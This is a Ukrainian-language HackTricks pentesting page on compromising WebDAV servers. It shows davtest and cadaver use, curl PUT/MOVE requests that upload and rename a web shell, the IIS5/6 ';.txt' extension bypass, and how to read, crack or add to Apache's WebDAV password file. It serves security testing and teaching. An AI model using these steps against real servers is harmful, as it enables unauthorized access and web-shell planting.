WebDav
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Коли ви маєте справу з HTTP сервером з увімкненим WebDav, можливо маніпулювати файлами, якщо у вас є правильні облікові дані, які зазвичай перевіряються через HTTP Basic Authentication. Отримання контролю над таким сервером часто передбачає завантаження та виконання веб-оболонки.
Доступ до сервера WebDav зазвичай вимагає дійсних облікових даних, при цьому WebDav bruteforce є поширеним методом їх отримання.
Щоб обійти обмеження на завантаження файлів, особливо ті, що заважають виконанню скриптів на стороні сервера, ви можете:
- Завантажити файли з виконуваними розширеннями безпосередньо, якщо це не обмежено.
- Перейменувати завантажені невиконувані файли (наприклад, .txt) на виконуване розширення.
- Скопіювати завантажені невиконувані файли, змінивши їх розширення на таке, що є виконуваним.
DavTest
Davtest намагається завантажити кілька файлів з різними розширеннями та перевірити, чи розширення виконується:
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
Це не означає, що .txt та .html розширення виконуються. Це означає, що ви можете отримати доступ до цих файлів через веб.
Cadaver
Ви можете використовувати цей інструмент, щоб підключитися до сервера WebDav та виконувати дії (як завантаження, переміщення або видалення) вручну.
cadaver <IP>
PUT запит
curl -T 'shell.txt' 'http://$ip'
MOVE запит
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
IIS5/6 WebDav Vulnerability
Ця вразливість є дуже цікавою. WebDav не дозволяє завантажувати або перейменовувати файли з розширенням .asp. Але ви можете обійти це, додавши в кінець назви ";.txt", і файл буде виконуватись так, ніби це файл .asp (ви також можете використати ".html" замість ".txt", але НЕ забувайте про ";").
Тоді ви можете завантажити свою оболонку як файл ".txt" і скопіювати/перемістити його в файл ".asp;.txt". Доступаючи до цього файлу через веб-сервер, він буде виконуватись (cadaver скаже, що дія переміщення не спрацювала, але це так).
Post credentials
Якщо Webdav використовував сервер Apache, вам слід переглянути налаштовані сайти в Apache. Зазвичай:
_/etc/apache2/sites-enabled/000-default_
Всередині ви можете знайти щось на зразок:
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
Як ви можете бачити, є файли з дійсними credentials для webdav сервера:
/etc/apache2/users.password
У цих типах файлів ви знайдете ім'я користувача та хеш пароля. Це облікові дані, які сервер webdav використовує для автентифікації користувачів.
Ви можете спробувати їх зламати, або додати більше, якщо з якоїсь причини ви хочете отримати доступ до сервера webdav:
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
Щоб перевірити, чи працюють нові облікові дані, ви можете зробити:
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.